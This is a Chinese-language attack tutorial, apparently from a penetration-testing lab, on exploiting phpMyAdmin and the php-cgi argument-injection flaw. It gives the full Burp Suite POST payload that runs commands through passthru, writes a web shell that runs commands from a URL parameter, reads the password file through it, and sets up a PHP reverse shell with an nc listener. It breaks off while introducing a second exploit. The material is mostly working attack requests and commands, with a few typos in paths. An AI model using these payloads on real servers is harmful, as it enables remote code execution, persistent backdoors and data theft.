通过post方法,修改PHP主配置文件,就可以执行命令行对服务器进行操作,php语言中passthru函数可以执行操作系统的指令
POST http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1+-d +auto_prepend_file%3dphp://input HTTP/1.1 Host: 192.168.20.10 <?php passthru(‘ls‘); die(); ?>
打开burpsuite,在repeater中执行以上的代码,Go
就可以在右侧返回的信息中看到执行的结果
只要在passthru()方法中添加想要执行的命令
甚至可以写文件,这样我们就可以在目标服务器中提交木马等操作了。
一枚简单的木马
利用的是位于phpMyAdmin/setup下的漏洞
+auto_prepend_file%3dphp://input HTTP/1.1 Host: 192.168.1.105 <?php passthru(‘echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/ 2.php‘); die(); ?>
打开burpsuite,在repeater中执行以上的代码,Go
passthru(‘cat /var/www/2.php‘);
查看刚才写的文件,返回发现写成功了
打开l浏览器输入
192.168.1.105/2.php?cmd=id
192.168.1.105/2.php?cmd=pwd
192.168.1.105/2.php?cmd=ls
192.168.1.105/2.php?cmd=cat /ets/passwd
你会发现这样操作非常像在shell中执行,只要在变量"?cmd="后面添加命令即可
php反弹shell
它在kali的位置
/usr/share/webshells/php/php-reverse-shell.php
修改一下,把IP换成本机的IP地址
然后将所有内容复制下来复制到在burpsuite的body中
先不发送请求,打开一个终端输入 nc -nvvlp 1234 侦听这个端口号,再发送请求
于是就建立了连接,就可以在终端上操作php的服务器了,和在自己终端上操作差不多
有时候会发现有些命令执行不了,比如ifconfig,这是因为现在的用户权限下,有些命令的环境变量没有设置好,我们可以查找到这个命令的位置,然后执行它
cd /sbin
./ifconfg
就能执行了
第二枚木马
这个利用ubuntu/debian默认安装的php5-cgi的漏洞
可直接访问/cgi-bin/php5和/cgi-bin/php ,这两个目录位于操作系统的根目录下,而不是在web的根目录下,它们不会在网页页面上显示,所以这些目录用扫描工具是爬网爬不出来的